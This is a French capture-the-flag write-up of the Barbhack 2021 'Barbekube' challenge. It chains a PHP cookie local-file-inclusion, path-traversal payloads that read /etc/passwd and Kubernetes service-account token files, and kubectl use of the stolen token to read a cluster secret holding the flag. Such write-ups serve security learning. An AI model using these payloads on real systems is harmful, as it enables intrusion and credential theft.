Barbhack 2021 — Web Write-up : Barbekube

Logo de la Barbhack

Le 28 août 2021 se déroulait la seconde édition de la Barbhack, un événement sur la sécurité informatique avec des conférences, un barbecue et un CTF.

Que demander de plus ? 🤤

Lors de super conférences, nous avons pu en apprendre davantage sur le car hacking, le spoofing GPS, le reverse d’architecture peu commune ou encore sur les techniques utilisées en SOCMINT.

Notre équipe a ensuite pu se challenger sur le CTF durant toute la nuit.

Dans ce post nous allons voir la réalisation d’un super challenge (first blood pour Les Pires Hat 🩸) sur Kubernetes créé par AyDev : The Barbekube. 🍖

Introduction

Le challenge commence avec l’énoncé suivant :

Énoncé du challenge

Pas beaucoup d’information mais l’essentiel, un nom de domaine.

En suivant l’adresse on arrive sur un site web plutôt appétissant. 🍴

Page d’accueil du site web hébergé sur http://barbekube.brb

On peut lire en bas de page “Powerered by Kubernetes”.

De plus ce site possède quelques fonctionnalités :

  • une page de login
  • la possibilité de modifier la langue via un cookie

En commentaire de code sur la page de login, on peut lire que le mot de passe pour se connecter correspond à un secret sur Kubernetes.

Le scan du port 6443 (port par défaut pour l’API de k8s) sur barbekube.brb nous révèle que l’API est accessible.

nmap barbekube.brb -sV -p 6443

Ainsi l’objectif se dessine : il faut pouvoir accéder aux ressources du cluster via l’API afin de récupérer un secret contenant le mot de passe pour se connecter sur le site et récupérer le flag.

LFI avec le cookie de sélection de langue

Afin d’accéder au cluster via l’API il nous faut un compte de service, ainsi dans un premier temps il faut trouver une vulnérabilité sur le site afin de récupérer ce fameux compte.

Une fonctionnalité attire directement l’attention : la sélection de langue.

Pour stocker le choix de l’utilisateur, ce site en PHP stocke dans un cookie lang la valeur fr ou en.

Une mauvaise implémentation ce cette fonctionnalité consiste à inclure directement le choix de l’utilisateur afin de charger le fichier PHP de langue.

Sur ce genre d’implémentation si un utilisateur modifie la valeur du cookie de langue pour pointer vers un autre fichier sur le serveur alors il est possible de l’inclure et d’obtenir son contenu directement sur la page.

Ce type de vulnérabilité s’appelle une LFI pour Local File Inclusion ou inclusion de fichiers locaux en français.

Ainsi, avec un payload basique comme :

../../../../../etc/passwd

On obtient le contenu du fichier /etc/passwd du conteneur qui supporte le site web.

Cette faille nous permet de récupérer le contenu des fichiers présents sur le conteneur.

Les processus au sein d’un pod sur Kubernetes ont parfois besoin d’accéder à l’API de Kubernetes. Pour se faire un compte de service est attribué au pod.

Ce compte de service est accessible directement depuis le système de fichier du conteneur et il est donc possible de le récupérer via la LFI.

Les fichiers du compte de service sont situés aux chemins suivants :

/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate

Ainsi il ne reste plus qu’à tester pour tenter de les récupérer :

On obtient bien les informations nécessaires pour l’utilisation de ce compte de service sur Kubernetes. 🔑

Accès à l’API du cluster avec kubectl

Avec les informations précédemment récupérées on peut alors mettre en place la configuration nécessaire pour communiquer avec l’API de Kubernetes.

Pour cela on peut utiliser kubectl qui est l’utilitaire officielle pour échanger avec ce type d’API, cela nous permet de faire des requêtes facilement sans tout forger à la main et curl.

Configuration du fichier de configuration pour kubectl :

apiVersion: v1
kind: Config
clusters:
- name: default-cluster
cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM1ekNDQWMrZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeE1EZ3lPREl5TlRRek1sb1hEVE14TURneU5qSXlOVFF6TWxvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTGZUCkl3SXpacFJhTlI5S1hSQkJRY0NITFhTdCtPU1oyUWtXZXN4TnhXL1lyM1RRZ3k0RTZxY2lNY1A3ZW5qZjRWcWoKbzhabngvS0hBUTZXY25xZ21kTGFjdU5ZV3Avb3k3RUlvQUp5SlpwWExERytFSFFtVXRsVE9sU1FYZmt5UWpqNgpadnRSc211VDV2VlNkZ213eHU3TEppNW1tRzFkTHI4UFpJMU5nbTQzOFg2bmJxR0VIdS9OTEFuVEh4aGpPMnNnCmU0bm5GMXJOMUVWVGFWL2dZVFlpVDlIVCs1Y0Z6cnZZTXhTUmJQVURTWDZ0d3FlS0V6RzY5QTg2VFp1TlJ1ZmcKNFlRUHhISzdjT091S1pycUFHOWlMeVZjZHZsc3RHZjRCTVBIamM4N3VBMENoY0dteTRXV2w3T29naWg3c2JuRgpLVTE5UW5ObHVVWmhRUGEvUlNFQ0F3RUFBYU5DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZOR0xSUEM1eDByU0ExL1kzRDRYZzBHUVRJUDFNQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFCNStlTzJEUW1iWFVsaXpSaDloY0F5cWowOG9iK2NsdmdBOVVRczJWbWhQdXRmZDR1UApiV2lOUTVKQXZUWHdYL0FrU0dwWlJxYmt0aFpsVmUrVjY3cHQ3TmdEaXFCR0FWa2VMMnF2TVdoaG4rVUNzZG85Cjd5MkppdFpCcjFvNC84NExVdjQwKy9aaDNWQ2ZFQnQwMG9HcUxrMGtlNFoyc1FRVHNUWGwyMnd3QXBiSE9LL0gKUS9mVnhib0Z3WjNyYTdwMUp5UndhVHl3YS9PVE44NEVXdFJVSzRSbnlKMW55c0FwR285Szg3SnN4KzVZckM2cQo0aUNqZUs0TVZocFlIWEZiRHloZUVWdmJEcEhDSERnUDFKYU9yc05lb2tFNVlLekJ0MUNpd3NKZ0Q1dUhHaXZzCmdHY0QwM0RXYW54NDVDK3dGZlI1MktBbGsrYlhnNTJ4enJjagotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0t
server: https://kubernetes.default.svc:6443
contexts:
- name: default-context
context:
cluster: default-cluster
namespace: the-barbekube
user: default-user
current-context: default-context
users:
- name: default-user
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6ImhHX3ZYNEdFaWFtX1BWRUpvYzljOUdsX09oS1UwekJlSTVNaVpCZEpoYWcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjYxNzMzMzU3LCJpYXQiOjE2MzAxOTczNTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJ0aGUtYmFyYmVrdWJlIiwicG9kIjp7Im5hbWUiOiJmcm9udGVuZC01ZDZmYzc0NDlkLTg2YmZuIiwidWlkIjoiMWY5ODUxOTktNGExMy00YzdhLTg2OGQtYjE5MTM4MWVjYjEwIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJ0aGUtYmFyYmVrdWJlLXNhIiwidWlkIjoiZmRlY2JmOTYtMzU3YS00ZWU1LTg4YmQtMmFjZmQzYjllNzFhIn0sIndhcm5hZnRlciI6MTYzMDIwMDk2NH0sIm5iZiI6MTYzMDE5NzM1Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OnRoZS1iYXJiZWt1YmU6dGhlLWJhcmJla3ViZS1zYSJ9.RGmxp_KgZeoej0vtAuKLQCXpOeUoYvjzzclUi4ASGYh1-0zQovYs9hWKvVxfWHBuRVkwzilm-sZWB5GqDYgxFNQzkUCFDPw2tUSPon2tc8yUC5E1b-_H8trv6ejmOXh1_c2gEpgcopNe3sgDStvuHQZz5cWH9bUlWmIXaLcWspB6KwQxlb8iSIc_-X3oQfJABHnv5A3cuSpNHXJdMwiQ8GFeoQm12_xKkmR7QpbvX-K65JRIfNEsordIY2N4f6BHb_kxir8MYqo-CpWDiuHI8u067i7A6VwtO0IxuzBGZrBbr7B0Ht0oS-3h3qUnTavOKKCxVCzpy0zG2vuoOgNGmA

Configuration du fichier /etc/hosts :

10.10.42.205 kubernetes.default.svc

Il ne reste plus qu’à tester l’accès :

kubectl --insecure-skip-tls-verify --kubeconfig ./config get pods 
NAME READY STATUS RESTARTS AGE
frontend-5d6fc7449d-86bfn 1/1 Running 0 102m
login-76cf467fdc-z7s7r 1/1 Running 0 102m

C’est ok ! 👌

On peut alors lister les droits du compte de service utilisé :

kubectl --insecure-skip-tls-verify --kubeconfig ./config auth can-i --listResources      Non-Resource URLs    Resource Names   Verbs...
pods.* [] [] [get list]
secrets.* [] [] [get]
...

Ce compte de service peut donc lister et obtenir les différents pods mais il ne peut pas lister les secrets, seulement les obtenir.

Ainsi il n’est pas possible (sauf par force brute) de récupérer un secret sans connaître son nom.

Afin de trouver le nom du secret il est possible d’afficher la configuration des deux pods présents afin de voir quels secrets sont potentiellement montés.

Pour cela il est possible d’utiliser le verbe Kubernetes describe.

Ainsi pour le pod login, on observe :

kubectl --insecure-skip-tls-verify --kubeconfig ./config describe pods login-76cf467fdc-z7s7rName:         login-76cf467fdc-z7s7r
Namespace: the-barbekube
Priority: 0
Node: ctf-kube-challs-control-plane/172.18.0.2
Start Time: Sun, 29 Aug 2021 00:58:34 +0200
Labels: app=login
pod-template-hash=76cf467fdc
Annotations: <none>
Status: Running
IP: 10.244.0.10
IPs:
IP: 10.244.0.10
Controlled By: ReplicaSet/login-76cf467fdc
Containers:
login:
Container ID: containerd://b57c98d05fe8bbc729b64a7c298e436d2f52af6fd3a266523b3a4d2de4cb4dc0
Image: docker.io/barbekube/flag:v1
Image ID: sha256:963f6f7dd43e98a840d27309f979444c7595ceb0562ed3f51326a6d85e0d8567
Port: 8080/TCP
Host Port: 0/TCP
State: Running
Started: Sun, 29 Aug 2021 00:58:35 +0200
Ready: True
Restart Count: 0
Limits:
cpu: 200m
memory: 128Mi
Requests:
cpu: 200m
memory: 128Mi
Liveness: http-get http://:http/healthz delay=0s timeout=1s period=10s #success=1 #failure=3
Readiness: http-get http://:http/healthz delay=0s timeout=1s period=10s #success=1 #failure=3
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-6fqdj (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
kube-api-access-6fqdj:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: Guaranteed
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>

et pour le pod frontend :

kubectl --insecure-skip-tls-verify --kubeconfig ./config describe pods frontend-5d6fc7449d-86bfnName:         frontend-5d6fc7449d-86bfn
Namespace: the-barbekube
Priority: 0
Node: ctf-kube-challs-control-plane/172.18.0.2
Start Time: Sun, 29 Aug 2021 00:58:34 +0200
Labels: app=frontend
pod-template-hash=5d6fc7449d
Annotations: <none>
Status: Running
IP: 10.244.0.11
IPs:
IP: 10.244.0.11
Controlled By: ReplicaSet/frontend-5d6fc7449d
Containers:
frontend:
Container ID: containerd://773f9598c71504be9c35690b20f67532d8ca3655b394ea7a0ca2c63fa4cd5443
Image: the-barbekube-frontend:latest
Image ID: sha256:7f534e0b54bfc1633bf948d871c219550c769dbb3fba083aded2560d5b39d4b3
Port: 80/TCP
Host Port: 0/TCP
State: Running
Started: Sun, 29 Aug 2021 00:58:36 +0200
Ready: True
Restart Count: 0
Limits:
cpu: 200m
memory: 128Mi
Requests:
cpu: 200m
memory: 128Mi
Liveness: http-get http://:http/ delay=0s timeout=1s period=10s #success=1 #failure=3
Readiness: http-get http://:http/ delay=0s timeout=1s period=10s #success=1 #failure=3
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-qnwcp (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
kube-api-access-qnwcp:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: Guaranteed
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>

Malheureusement, aucun secret intéressant n’est monté sur ces deux pods…

Si aucun secret n’est monté alors le pod en charge de la validation du login doit être en mesure de le récupérer au runtime, il faudrait alors pouvoir exécuter des commandes sur ce pod afin d’analyser le code.

Néanmoins, le compte de service à notre disposition ne nous permet pas ce genre d’actions.

Après relecture de la configuration des pods, un détail saute aux yeux : les images docker utilisées par les conteneurs dans les pods.

Le pod frontend utilise une image privée :

Image:          the-barbekube-frontend:latest

alors que le pod login semble utiliser une image publique (elle s’appelle barbekube/flag en plus !) :

Image:          docker.io/barbekube/flag:v1

Ainsi directement depuis notre environnement local il est possible de récupérer cette image :

docker pull docker.io/barbekube/flag:v1

Il ne reste plus qu’à analyser cette image. 🔎

Analyse de l’image docker publique

Une fois l’image récupérée, il est possible d’écraser son entrypoint (la commande exécutée au lancement) afin d’obtenir un shell :

docker run -it --entrypoint /bin/sh docker.io/barbekube/flag:v1 /app # ls
Dockerfile __pycache__ kube.py main.py requirements.txt

On remarque la présence d’un fichier nommé kube.py :

/app # cat kube.py
from kubernetes import client, config
def getSecret():
# config.load_kube_config()
config.load_incluster_config()
v1 = client.CoreV1Api()
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()
secret = v1.read_namespaced_secret("login-credentials", current_namespace)

return secret

Il s’agit précisément de la fonction qui nous intéresse, celle qui récupère le fameux secret Kubernetes au runtime.

Désormais le nom du secret est connu : login-credentials.

Avec kubectl il est alors possible de le récupérer pour afficher son contenu :

kubectl --insecure-skip-tls-verify --kubeconfig ./config get secrets login-credentials  -o yaml apiVersion: v1
data:
password: YnJie3AzNzE3My0zbjdyM2MwNzMtNHUtYjRyYjNrdWIzfQ==
username: YWRtaW4=
kind: Secret
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","data":{"password":"YnJie3AzNzE3My0zbjdyM2MwNzMtNHUtYjRyYjNrdWIzfQ==","username":"YWRtaW4="},"kind":"Secret","metadata":{"annotations":{},"name":"login-credentials","namespace":"the-barbekube"},"type":"Opaque"}
creationTimestamp: "2021-08-28T22:58:34Z"
name: login-credentials
namespace: the-barbekube
resourceVersion: "1167"
uid: dadccd2e-bfa0-4c55-8ec4-243f75d67893
type: Opaque

Les secrets sur Kubernetes sont encodés en base64, ainsi on obtient :

{"password":"brb{p37173-3n7r3c073-4u-b4rb3kub3}","username":"admin"}

Le flag (petite entrecôte au barbekube) se dévoile, c’est gagné ! 🥳

Flag de l’épreuve après connexion avec les informations du secret

Cela sera malheureusement la seule entrecôte de la soirée qui s’est avérée être une “planchack” pour reprendre les mots des organisateurs. 😂

Un grand merci à eux pour ce super événement et à AyDev pour ce challenge très intéressant.

Contactez-moi :
LinkedIn
Twitter

French CTF team